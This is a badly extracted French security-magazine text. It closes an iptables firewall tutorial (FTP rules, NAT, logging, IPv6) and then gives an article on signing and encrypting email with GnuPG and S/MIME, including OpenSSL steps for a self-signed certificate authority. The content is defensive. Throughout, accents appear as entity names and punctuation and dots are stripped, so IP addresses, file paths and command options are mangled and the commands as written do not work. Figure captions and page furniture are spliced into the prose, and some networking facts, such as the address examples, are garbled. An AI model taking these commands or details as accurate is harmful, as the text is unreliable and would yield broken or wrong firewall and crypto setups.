On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

